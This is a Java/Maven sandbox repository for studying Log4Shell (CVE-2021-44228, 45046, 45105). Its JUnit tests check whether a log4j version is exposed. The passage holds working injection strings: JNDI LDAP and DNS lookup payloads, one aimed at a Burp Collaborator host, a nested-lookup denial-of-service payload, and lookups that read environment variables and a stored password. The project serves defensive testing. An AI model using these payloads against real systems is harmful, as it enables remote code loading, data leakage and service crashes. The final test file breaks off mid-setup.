-------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /sandbox/.idea/runConfigurations/sandbox__clean_compile_.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 21 | 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /sandbox/.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /sandbox/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sandbox/all-versions.txt: -------------------------------------------------------------------------------- 1 | 2.0 2 | 2.0.1 3 | 2.0.2 4 | 2.0-alpha1 5 | 2.0-alpha2 6 | 2.0-beta1 7 | 2.0-beta2 8 | 2.0-beta3 9 | 2.0-beta4 10 | 2.0-beta5 11 | 2.0-beta6 12 | 2.0-beta7 13 | 2.0-beta8 14 | 2.0-beta9 15 | 2.0-rc1 16 | 2.0-rc2 17 | 2.1 18 | 2.10.0 19 | 2.11.0 20 | 2.11.1 21 | 2.11.2 22 | 2.12.0 23 | 2.12.1 24 | 2.12.2 25 | 2.13.0 26 | 2.13.1 27 | 2.13.2 28 | 2.13.3 29 | 2.14.0 30 | 2.14.1 31 | 2.15.0 32 | 2.16.0 33 | 2.17.0 34 | 2.2 35 | 2.3 36 | 2.4 37 | 2.4.1 38 | 2.5 39 | 2.6 40 | 2.6.1 41 | 2.6.2 42 | 2.7 43 | 2.8 44 | 2.8.1 45 | 2.8.2 46 | 2.9.0 47 | 2.9.1 48 | -------------------------------------------------------------------------------- /sandbox/data.txt: -------------------------------------------------------------------------------- 1 | [DIR] 2.0-alpha1/ 2016-05-30 04:49 - 2 | [DIR] 2.0-alpha2/ 2016-05-30 04:49 - 3 | [DIR] 2.0-beta1/ 2016-05-30 04:49 - 4 | [DIR] 2.0-beta2/ 2016-05-30 04:49 - 5 | [DIR] 2.0-beta3/ 2016-05-30 04:49 - 6 | [DIR] 2.0-beta4/ 2016-05-30 04:49 - 7 | [DIR] 2.0-beta5/ 2016-05-30 04:49 - 8 | [DIR] 2.0-beta6/ 2016-05-30 04:49 - 9 | [DIR] 2.0-beta7/ 2016-05-30 04:49 - 10 | [DIR] 2.0-beta8/ 2016-05-30 04:49 - 11 | [DIR] 2.0-beta9/ 2016-05-30 04:49 - 12 | [DIR] 2.0-rc1/ 2016-05-30 04:49 - 13 | [DIR] 2.0-rc2/ 2016-05-30 04:49 - 14 | [DIR] 2.0.1/ 2016-05-30 04:49 - 15 | [DIR] 2.0.2/ 2016-05-30 04:49 - 16 | [DIR] 2.0/ 2016-05-30 04:49 - 17 | [DIR] 2.1/ 2016-05-30 04:49 - 18 | [DIR] 2.10.0/ 2018-05-04 17:50 - 19 | [DIR] 2.11.0/ 2018-05-04 17:47 - 20 | [DIR] 2.11.1/ 2019-02-09 05:39 - 21 | [DIR] 2.11.2/ 2019-02-09 07:31 - 22 | [DIR] 2.12.0/ 2019-06-29 04:14 - 23 | [DIR] 2.12.1/ 2020-07-03 04:30 - 24 | [DIR] 2.12.2/ 2021-12-14 18:52 - 25 | [DIR] 2.13.0/ 2019-12-15 07:14 - 26 | [DIR] 2.13.1/ 2020-02-29 06:15 - 27 | [DIR] 2.13.2/ 2020-04-24 06:32 - 28 | [DIR] 2.13.3/ 2020-07-03 04:30 - 29 | [DIR] 2.14.0/ 2020-11-10 07:13 - 30 | [DIR] 2.14.1/ 2021-03-12 05:50 - 31 | [DIR] 2.15.0/ 2021-12-09 23:46 - 32 | [DIR] 2.16.0/ 2021-12-13 17:03 - 33 | [DIR] 2.17.0/ 2021-12-18 05:11 - 34 | [DIR] 2.2/ 2016-05-30 04:49 - 35 | [DIR] 2.3/ 2020-07-03 04:30 - 36 | [DIR] 2.4.1/ 2015-10-13 00:36 - 37 | [DIR] 2.4/ 2016-05-30 04:49 - 38 | [DIR] 2.5/ 2015-12-10 05:00 - 39 | [DIR] 2.6.1/ 2016-06-09 05:20 - 40 | [DIR] 2.6.2/ 2016-07-09 21:02 - 41 | [DIR] 2.6/ 2016-05-29 06:44 - 42 | [DIR] 2.7/ 2016-10-06 04:47 - 43 | [DIR] 2.8.1/ 2017-06-26 17:54 - 44 | [DIR] 2.8.2/ 2017-06-26 17:54 - 45 | [DIR] 2.8/ 2017-01-25 06:26 - 46 | [DIR] 2.9.0/ 2017-10-04 10:54 - 47 | [DIR] 2.9.1/ 2017-10-04 10:54 - -------------------------------------------------------------------------------- /sandbox/log4shell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /sandbox/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | lu.xlm 8 | sandbox 9 | 1.0-SNAPSHOT 10 | 11 | 12 | UTF-8 13 | 11 14 | 2.17.0 15 | 16 | 17 | 18 | 19 | org.apache.logging.log4j 20 | log4j-core 21 | ${log4j2.target.version} 22 | 23 | 24 | junit 25 | junit 26 | 4.12 27 | test 28 | 29 | 30 | 31 | 32 | log4shell-sandbox 33 | 34 | 35 | org.apache.maven.plugins 36 | maven-compiler-plugin 37 | 3.7.0 38 | 39 | ${java.version} 40 | ${java.version} 41 | 42 | 43 | 44 | org.apache.maven.plugins 45 | maven-assembly-plugin 46 | 3.1.1 47 | 48 | 49 | 50 | 51 | eu.righettod.SandboxJndi 52 | 53 | 54 | 55 | jar-with-dependencies 56 | 57 | 58 | 59 | 60 | make-assembly 61 | package 62 | 63 | single 64 | 65 | 66 | 67 | 68 | 69 | org.apache.maven.plugins 70 | maven-jar-plugin 71 | 3.0.2 72 | 73 | 74 | 75 | true 76 | eu.righettod.SandboxJndi 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /sandbox/src/main/java/eu/righettod/Sandbox45105.java: -------------------------------------------------------------------------------- 1 | package eu.righettod; 2 | 3 | import org.apache.logging.log4j.LogManager; 4 | import org.apache.logging.log4j.Logger; 5 | import org.apache.logging.log4j.ThreadContext; 6 | 7 | /** 8 | * Sandbox for CVE-2021-45105 study. 9 | * @see "https://issues.apache.org/jira/browse/LOG4J2-3230" 10 | * @see "https://github.com/righettod/log4shell-analysis/issues/4" 11 | */ 12 | public class Sandbox45105 { 13 | public static void main(String[] args) throws Exception { 14 | Logger log = LogManager.getLogger(Sandbox45105.class); 15 | System.out.printf("LOG4J2 version: %s\n", log.getClass().getPackage().getImplementationVersion()); 16 | System.out.printf("Java version : %s\n", System.getProperty("java.version")); 17 | StringBuilder payload = new StringBuilder("${"); 18 | int occurrences = 500000; 19 | payload.append("${::-".repeat(occurrences)); 20 | payload.append("$${::-j}"); 21 | payload.append("}".repeat(occurrences)); 22 | payload.append("}"); 23 | ThreadContext.put("test",payload.toString()); 24 | log.info("triggering..."); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /sandbox/src/main/java/eu/righettod/SandboxJndi.java: -------------------------------------------------------------------------------- 1 | package eu.righettod; 2 | 3 | import org.apache.logging.log4j.LogManager; 4 | import org.apache.logging.log4j.Logger; 5 | 6 | import java.util.Arrays; 7 | import java.util.List; 8 | 9 | public class SandboxJndi { 10 | public static void main(String[] args) throws Exception { 11 | Logger log = LogManager.getLogger(SandboxJndi.class); 12 | System.out.printf("LOG4J2 version: %s\n", log.getClass().getPackage().getImplementationVersion()); 13 | System.out.printf("Java version : %s\n", System.getProperty("java.version")); 14 | List characters = Arrays.asList("-","_","$","%","#","&","(",")","{","\\}","+","=","/","\\","@","|","'"); 15 | log.info("${jndi:dns://toto.9kux5e3gcsnh55bza0sahpwpzg56tv.burpcollaborator.net}"); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /sandbox/src/main/java/eu/righettod/SandboxPrefixes.java: -------------------------------------------------------------------------------- 1 | package eu.righettod; 2 | 3 | import org.apache.logging.log4j.LogManager; 4 | import org.apache.logging.log4j.Logger; 5 | import org.apache.logging.log4j.core.lookup.MainMapLookup; 6 | 7 | public class SandboxPrefixes { 8 | public static void main(String[] args) throws Exception { 9 | Logger log = LogManager.getLogger(SandboxPrefixes.class); 10 | //SYS (JVM properties) prefix resolved by the class "org.apache.logging.log4j.core.lookup.SystemPropertiesLookup" 11 | log.info("${sys:java.version}"); 12 | //ENV prefix resolved by the class "org.apache.logging.log4j.core.lookup.EnvironmentLookup" 13 | log.info("${env:USERNAME}"); 14 | //JAVA prefix resolved by the class "org.apache.logging.log4j.core.lookup.JavaLookup" 15 | log.info("${java:os}"); 16 | //LOG4J prefix resolved by the class "org.apache.logging.log4j.core.lookup.Log4jLookup" 17 | log.info("${log4j:configLocation}"); 18 | log.info("${log4j:configParentLocation}"); 19 | //WEB/DOCKER prefixes resolved by the class "org.apache.logging.log4j.core.lookup.Interpolator" 20 | //DOCKER prefix resolved by the class "org.apache.logging.log4j.docker.DockerLookup" behind the scene 21 | //See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-docker 22 | log.info("${docker:containerId}");//Is effective when the app run inside a container 23 | //WEB prefix resolved by the class "org.apache.logging.log4j.web.WebLookup" behind the scene 24 | //See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-web 25 | log.info("${web:rootDir}");//Is effective when the app is a web app 26 | //MAIN prefix resolved by the class "org.apache.logging.log4j.core.lookup.MainMapLookup" 27 | //From class documentation: 28 | //An application's public static main(String[]) method calls method "MainMapLookup.setMainArguments(...)" to make 29 | //its main arguments available for lookup with the prefix "main". 30 | MainMapLookup.setMainArguments(args); 31 | log.info("${main:0} ${main:1}"); 32 | //BUNDLE prefix resolved by the class "org.apache.logging.log4j.core.lookup.ResourceBundleLookup" 33 | //Here I have a "config.properties" file in the classpath 34 | log.info("${bundle:config:db.password}"); 35 | //SPRING prefix resolved by the class "org.apache.logging.log4j.spring.cloud.config.client.SpringLookup" 36 | //See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-spring-cloud-config-client 37 | 38 | 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /sandbox/src/main/resources/config.properties: -------------------------------------------------------------------------------- 1 | db.password=myPassword -------------------------------------------------------------------------------- /sandbox/src/main/resources/log4j2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /sandbox/src/test/java/eu/righettod/Log4ShellDOSExposureTest.java: -------------------------------------------------------------------------------- 1 | package eu.righettod; 2 | 3 | import org.apache.logging.log4j.Level; 4 | import org.apache.logging.log4j.LogManager; 5 | import org.apache.logging.log4j.Logger; 6 | import org.apache.logging.log4j.ThreadContext; 7 | import org.apache.logging.log4j.core.appender.ConsoleAppender; 8 | import org.apache.logging.log4j.core.config.Configurator; 9 | import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder; 10 | import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder; 11 | import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory; 12 | import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder; 13 | import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration; 14 | import org.junit.Before; 15 | import org.junit.BeforeClass; 16 | import org.junit.Test; 17 | 18 | /** 19 | * Test suite to ensure that the current version used of log4j-core is not exposed to log4shell DOS vulnerability for CVE-2021-45105. 20 | * 21 | * @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class" 22 | * @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html" 23 | * @see "https://issues.apache.org/jira/browse/LOG4J2-3230" 24 | * @see "https://issues.apache.org/jira/browse/LOG4J2-3230?focusedCommentId=17461971&page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel#comment-17461971" 25 | */ 26 | public class Log4ShellDOSExposureTest { 27 | 28 | private static String TEST_PAYLOAD; 29 | private Logger victim; 30 | 31 | @BeforeClass 32 | public static void generateDosPayload() { 33 | //Generate the huge payload: "${" + "${::-"*500000 + "$${::-j}" + "}"*500000 + "}" 34 | //Source is the ticket "LOG4J2-3230" - The comment added in tag SEE 35 | StringBuilder payload = new StringBuilder("${"); 36 | int occurrences = 500000; 37 | payload.append("${::-".repeat(occurrences)); 38 | payload.append("$${::-j}"); 39 | payload.append("}".repeat(occurrences)); 40 | payload.append("}"); 41 | TEST_PAYLOAD = payload.toString(); 42 | } 43 | 44 | @Before 45 | public void testSuiteSetup() throws Exception { 46 | //Setup the logger 47 | ConfigurationBuilder builder = ConfigurationBuilderFactory.newConfigurationBuilder(); 48 | builder.setStatusLevel(Level.INFO); 49 | builder.setConfigurationName("DefaultLogger"); 50 | AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE").addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT); 51 | appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:test} - %msg%n")); 52 | RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO); 53 | rootLogger.add(builder.newAppenderRef("Console")); 54 | builder.add(appenderBuilder); 55 | builder.add(rootLogger); 56 | //Configurator.reconfigure(builder.build()); 57 | //Use this method is reconfigure(() do not exists in the log4j2 tested version 58 | Configurator.initialize(builder.build()); 59 | //Setup the logger used 60 | victim = LogManager.getRootLogger(); 61 | //Display execution context 62 | System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion()); 63 | System.out.printf("Java version : %s\n", System.getProperty("java.version")); 64 | } 65 | 66 | @Test(timeout = 60000L) 67 | public void testExposure() throws Exception { 68 | //Log the payload and trigger the vulnerability using different ways 69 | ThreadContext.put("test", TEST_PAYLOAD); 70 | System.out.println("triggering mode 1 via a Thread Context Map entry..."); 71 | victim.info("triggering mode 1..."); 72 | ThreadContext.remove("test"); 73 | System.out.println("triggering mode 2 via a direct logging of the expression..."); 74 | victim.info(TEST_PAYLOAD); 75 | System.out.println("triggering mode 3 via the printf() method logging the expression..."); 76 | victim.printf(Level.INFO, "%s", TEST_PAYLOAD); 77 | //If the vulnerability is present then the execution will crash and 78 | //a "java.lang.OutOfMemoryError: Java heap space" error will be raised by the JVM running the test. 79 | //If the vulnerability is NOT present then the payload will be logged as large simple strings and the test will end normally. 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /sandbox/src/test/java/eu/righettod/Log4ShellExposureTest.java: -------------------------------------------------------------------------------- 1 | package eu.righettod; 2 | 3 | import org.apache.logging.log4j.Level; 4 | import org.apache.logging.log4j.LogManager; 5 | import org.apache.logging.log4j.Logger; 6 | import org.apache.logging.log4j.core.appender.ConsoleAppender; 7 | import org.apache.logging.log4j.core.config.Configurator; 8 | import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder; 9 | import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder; 10 | import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory; 11 | import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder; 12 | import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration; 13 | import org.junit.After; 14 | import org.junit.Assert; 15 | import org.junit.Before; 16 | import org.junit.Test; 17 | 18 | import java.io.ByteArrayOutputStream; 19 | import java.io.PrintStream; 20 | import java.nio.charset.StandardCharsets; 21 | import java.nio.file.Files; 22 | import java.nio.file.Paths; 23 | import java.nio.file.StandardOpenOption; 24 | import java.util.Arrays; 25 | import java.util.List; 26 | import java.util.concurrent.TimeUnit; 27 | 28 | /** 29 | * Test suite to ensure that the current version used of log4j-core is not exposed to log4shell vulnerability for CVE-2021-44228. 30 | * 31 | * @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class" 32 | * @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html" 33 | */ 34 | public class Log4ShellExposureTest { 35 | 36 | private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}"; 37 | private static final String TEST_FAILED_MARKER = "Error looking up JNDI resource"; 38 | private Logger victim; 39 | private final ByteArrayOutputStream captureStream = new ByteArrayOutputStream(); 40 | private final PrintStream currentSystemOut = System.out; 41 | private final PrintStream currentSystemErr = System.err; 42 | 43 | @Before 44 | public void testSuiteSetup() throws Exception { 45 | //Capture SystemOut and SystemErr 46 | PrintStream ps = new PrintStream(captureStream); 47 | System.setOut(ps); 48 | System.setErr(ps); 49 | //Remove any HTTP/FTP proxy 50 | System.setProperty("java.net.useSystemProxies", "false"); 51 | List proxyProperties = Arrays.asList("https.proxyHost", "https.proxyPort", "https.nonProxyHosts", "http.proxyHost", "http.proxyPort", "http.nonProxyHosts", "ftp.proxHost", "ftp.proxyPort", "ftp.nonProxyHosts"); 52 | proxyProperties.forEach(p -> System.getProperties().remove(p)); 53 | //Set a SOCK nonexistent proxy to prevent any data to be sent out or any call to exit the network 54 | System.setProperty("proxySet", "true"); 55 | System.setProperty("socksProxyHost", "10.10.10.10"); 56 | System.setProperty("socksProxyPort", "1111"); 57 | //Set a quick socket timeout to speed up the test 58 | System.setProperty("sun.net.client.defaultConnectTimeout", "2000"); 59 | System.setProperty("sun.net.client.defaultReadTimeout", "2000"); 60 | //Setup the logger 61 | ConfigurationBuilder builder = ConfigurationBuilderFactory.newConfigurationBuilder(); 62 | builder.setStatusLevel(Level.INFO); 63 | builder.setConfigurationName("DefaultLogger"); 64 | AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE").addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT); 65 | appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "%m%n")); 66 | RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO); 67 | rootLogger.add(builder.newAppenderRef("Console")); 68 | builder.add(appenderBuilder); 69 | builder.add(rootLogger); 70 | //Configurator.reconfigure(builder.build()); 71 | //Use this method is reconfigure(() do not exists in the log4j2 tested version 72 | Configurator.initialize(builder.build()); 73 | //Setup the logger used 74 | victim = LogManager.getRootLogger(); 75 | //Display execution context 76 | System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion()); 77 | System.out.printf("Java version : %s\n", System.getProperty("java.version")); 78 | } 79 | 80 | @After 81 | public void testSuiteFinalize() throws Exception { 82 | //Reset SystemOut and SystemErr to original ones 83 | System.setOut(currentSystemOut); 84 | System.setErr(currentSystemErr); 85 | //Remove the SOCK proxy 86 | System.getProperties().remove("proxySet"); 87 | System.getProperties().remove("socksProxyHost"); 88 | System.getProperties().remove("socksProxyPort"); 89 | //Remove socket timeout 90 | System.getProperties().remove("sun.net.client.defaultConnectTimeout"); 91 | System.getProperties().remove("sun.net.client.defaultReadTimeout"); 92 | } 93 | 94 | @Test 95 | public void testExposure() throws Exception { 96 | //Log the payload 97 | victim.info(TEST_PAYLOAD); 98 | //Let's time to logger to write the content to the appender and any JNDI lookup to be attempted 99 | TimeUnit.SECONDS.sleep(10); 100 | //Check if any JNDI lookup tentative was performed 101 | String out = captureStream.toString(StandardCharsets.UTF_8); 102 | //Save the output for ease debugging operations 103 | Files.deleteIfExists(Paths.get("target", "Log4ShellExposureTest.out")); 104 | Files.writeString(Paths.get("target", "Log4ShellExposureTest.out"), out, StandardCharsets.UTF_8, StandardOpenOption.CREATE); 105 | //Apply assertion using the JNDI lookup marker 106 | Assert.assertFalse("JNDI lookup tentative identified, see target/Log4ShellExposureTest.out file for details.", out.contains(TEST_FAILED_MARKER)); 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /sandbox/src/test/java/eu/righettod/Log4ShellExposureTestFormatMsgNoLookupsBypass.java: -------------------------------------------------------------------------------- 1 | package eu.righettod; 2 | 3 | import org.apache.logging.log4j.Level; 4 | import org.apache.logging.log4j.LogManager; 5 | import org.apache.logging.log4j.Logger; 6 | import org.apache.logging.log4j.ThreadContext; 7 | import org.apache.logging.log4j.core.appender.ConsoleAppender; 8 | import org.apache.logging.log4j.core.config.Configurator; 9 | import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder; 10 | import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder; 11 | import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory; 12 | import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder; 13 | import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration; 14 | import org.junit.After; 15 | import org.junit.Assert; 16 | import org.junit.Before; 17 | import org.junit.Test; 18 | 19 | import java.io.ByteArrayOutputStream; 20 | import java.io.PrintStream; 21 | import java.nio.charset.StandardCharsets; 22 | import java.nio.file.Files; 23 | import java.nio.file.Paths; 24 | import java.nio.file.StandardOpenOption; 25 | import java.util.Arrays; 26 | import java.util.List; 27 | import java.util.concurrent.TimeUnit; 28 | 29 | /** 30 | * Test suite to ensure that the current version used of log4j-core is not exposed to log4shell vulnerability for CVE-2021-45046 31 | * with the "log4j2.formatMsgNoLookups=true" bypass. 32 | * 33 | * @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class" 34 | * @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html" 35 | */ 36 | public class Log4ShellExposureTestFormatMsgNoLookupsBypass { 37 | 38 | private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}"; 39 | private static final String TEST_FAILED_MARKER = "Error looking up JNDI resource"; 40 | private Logger victim; 41 | private final ByteArrayOutputStream captureStream = new ByteArrayOutputStream(); 42 | private final PrintStream currentSystemOut = System.out; 43 | private final PrintStream currentSystemErr = System.err; 44 | 45 | @Before 46 | public void testSuiteSetup() throws Exception { 47 | //Capture SystemOut and SystemErr 48 | PrintStream ps = new PrintStream(captureStream); 49 | System.setOut(ps); 50 | System.setErr(ps); 51 | //Remove any HTTP/FTP proxy 52 | System.setProperty("java.net.useSystemProxies", "false"); 53 | List proxyProperties = Arrays.asList("https.proxyHost", "https.proxyPort", "https.nonProxyHosts", "http.proxyHost", "http.proxyPort", "http.nonProxyHosts", "ftp.proxHost", "ftp.proxyPort", "ftp.nonProxyHosts"); 54 | proxyProperties.forEach(p -> System.getProperties().remove(p)); 55 | //Set a SOCK nonexistent proxy to prevent any data to be sent out or any call to exit the network 56 | System.setProperty("proxySet", "true"); 57 | System.setProperty("socksProxyHost", "10.10.10.10"); 58 | System.setProperty("socksProxyPort", "1111"); 59 | //Set a quick socket timeout to speed up the test 60 | System.setProperty("sun.net.client.defaultConnectTimeout", "2000"); 61 | System.setProperty("sun.net.client.defaultReadTimeout", "2000"); 62 | //Setup the logger 63 | ConfigurationBuilder builder = ConfigurationBuilderFactory.newConfigurationBuilder(); 64 | builder.setStatusLevel(Level.INFO); 65 | builder.setConfigurationName("DefaultLogger"); 66 | AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE"); 67 | appenderBuilder.addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT); 68 | appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} - %m%n")); 69 | RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO); 70 | rootLogger.add(builder.newAppenderRef("Console")); 71 | builder.add(appenderBuilder); 72 | builder.add(rootLogger); 73 | //Configurator.reconfigure(builder.build()); 74 | //Use this method is reconfigure(() do not exists in the log4j2 tested version 75 | Configurator.initialize(builder.build()); 76 | //Enable the security flag 77 | System.setProperty("log4j2.formatMsgNoLookups", "true"); 78 | //Setup the logger used 79 | victim = LogManager.getRootLogger(); 80 | //Display execution context 81 | System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion()); 82 | System.out.printf("Java version : %s\n", System.getProperty("java.version")); 83 | } 84 | 85 | @After 86 | public void testSuiteFinalize() throws Exception { 87 | //Reset SystemOut and SystemErr to original ones 88 | System.setOut(currentSystemOut); 89 | System.setErr(currentSystemErr); 90 | //Remove the SOCK proxy 91 | System.getProperties().remove("proxySet"); 92 | System.getProperties().remove("socksProxyHost"); 93 | System.getProperties().remove("socksProxyPort"); 94 | //Remove socket timeout 95 | System.getProperties().remove("sun.net.client.defaultConnectTimeout"); 96 | System.getProperties().remove("sun.net.client.defaultReadTimeout"); 97 | } 98 | 99 | @Test 100 | public void testExposure() throws Exception { 101 | //Ensure that the security flag is enabled 102 | Assert.assertNotNull("Flag 'log4j2.formatMsgNoLookups' must be set!", System.getProperty("log4j2.formatMsgNoLookups")); 103 | Assert.assertTrue("Flag 'log4j2.formatMsgNoLookups' must be enabled!", Boolean.parseBoolean(System.getProperty("log4j2.formatMsgNoLookups"))); 104 | //Log the payload 105 | ThreadContext.put("InsecureVariable", TEST_PAYLOAD); 106 | victim.info("Triggering..."); 107 | //victim.printf(Level.INFO,"%s",TEST_PAYLOAD); 108 | //Let's time to logger to write the content to the appender and any JNDI lookup to be attempted 109 | TimeUnit.SECONDS.sleep(10); 110 | //Check if any JNDI lookup tentative was performed 111 | String out = captureStream.toString(StandardCharsets.UTF_8); 112 | //Save the output for ease debugging operations 113 | Files.deleteIfExists(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out")); 114 | Files.writeString(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"), out, StandardCharsets.UTF_8, StandardOpenOption.CREATE); 115 | //Apply assertion using the JNDI lookup marker 116 | Assert.assertFalse("JNDI lookup tentative identified, see target/Log4ShellExposureTestMsgNoLookupsBypass.out file for details.", out.contains(TEST_FAILED_MARKER)); 117 | } 118 | } -------------------------------------------------------------------------------- /sandbox/src/test/java/eu/righettod/Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.java: -------------------------------------------------------------------------------- 1 | package eu.righettod; 2 | 3 | import org.apache.logging.log4j.Level; 4 | import org.apache.logging.log4j.LogManager; 5 | import org.apache.logging.log4j.Logger; 6 | import org.apache.logging.log4j.core.appender.ConsoleAppender; 7 | import org.apache.logging.log4j.core.config.Configurator; 8 | import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder; 9 | import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder; 10 | import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory; 11 | import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder; 12 | import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration; 13 | import org.junit.After; 14 | import org.junit.Assert; 15 | import org.junit.Before; 16 | import org.junit.Test; 17 | 18 | import java.io.ByteArrayOutputStream; 19 | import java.io.PrintStream; 20 | import java.nio.charset.StandardCharsets; 21 | import java.nio.file.Files; 22 | import java.nio.file.Paths; 23 | import java.nio.file.StandardOpenOption; 24 | import java.util.Arrays; 25 | import java.util.List; 26 | import java.util.concurrent.TimeUnit; 27 | 28 | /** 29 | * Test suite to ensure that the current version used of log4j-core is not exposed to log4shell vulnerability for CVE-2021-45046 30 | * with the "log4j2.formatMsgNoLookups=true" bypass and using the "log.printf()" function. 31 | * 32 | * @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class" 33 | * @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html" 34 | */ 35 | public class Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf { 36 | 37 | private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}"; 38 | private static final String TEST_FAILED_MARKER = "Error looking up JNDI resource"; 39 | private Logger victim; 40 | private final ByteArrayOutputStream captureStream = new ByteArrayOutputStream(); 41 | private final PrintStream currentSystemOut = System.out; 42 | private final PrintStream currentSystemErr = System.err; 43 | 44 | @Before 45 | public void testSuiteSetup() throws Exception { 46 | //Capture SystemOut and SystemErr 47 | PrintStream ps = new PrintStream(captureStream); 48 | System.setOut(ps); 49 | System.setErr(ps); 50 | //Remove any HTTP/FTP proxy 51 | System.setProperty("java.net.useSystemProxies", "false"); 52 | List proxyProperties = Arrays.asList("https.proxyHost", "https.proxyPort", "https.nonProxyHosts", "http.proxyHost", "http.proxyPort", "http.nonProxyHosts", "ftp.proxHost", "ftp.proxyPort", "ftp.nonProxyHosts"); 53 | proxyProperties.forEach(p -> System.getProperties().remove(p)); 54 | //Set a SOCK nonexistent proxy to prevent any data to be sent out or any call to exit the network 55 | System.setProperty("proxySet", "true"); 56 | System.setProperty("socksProxyHost", "10.10.10.10"); 57 | System.setProperty("socksProxyPort", "1111"); 58 | //Set a quick socket timeout to speed up the test 59 | System.setProperty("sun.net.client.defaultConnectTimeout", "2000"); 60 | System.setProperty("sun.net.client.defaultReadTimeout", "2000"); 61 | //Setup the logger 62 | ConfigurationBuilder builder = ConfigurationBuilderFactory.newConfigurationBuilder(); 63 | builder.setStatusLevel(Level.INFO); 64 | builder.setConfigurationName("DefaultLogger"); 65 | 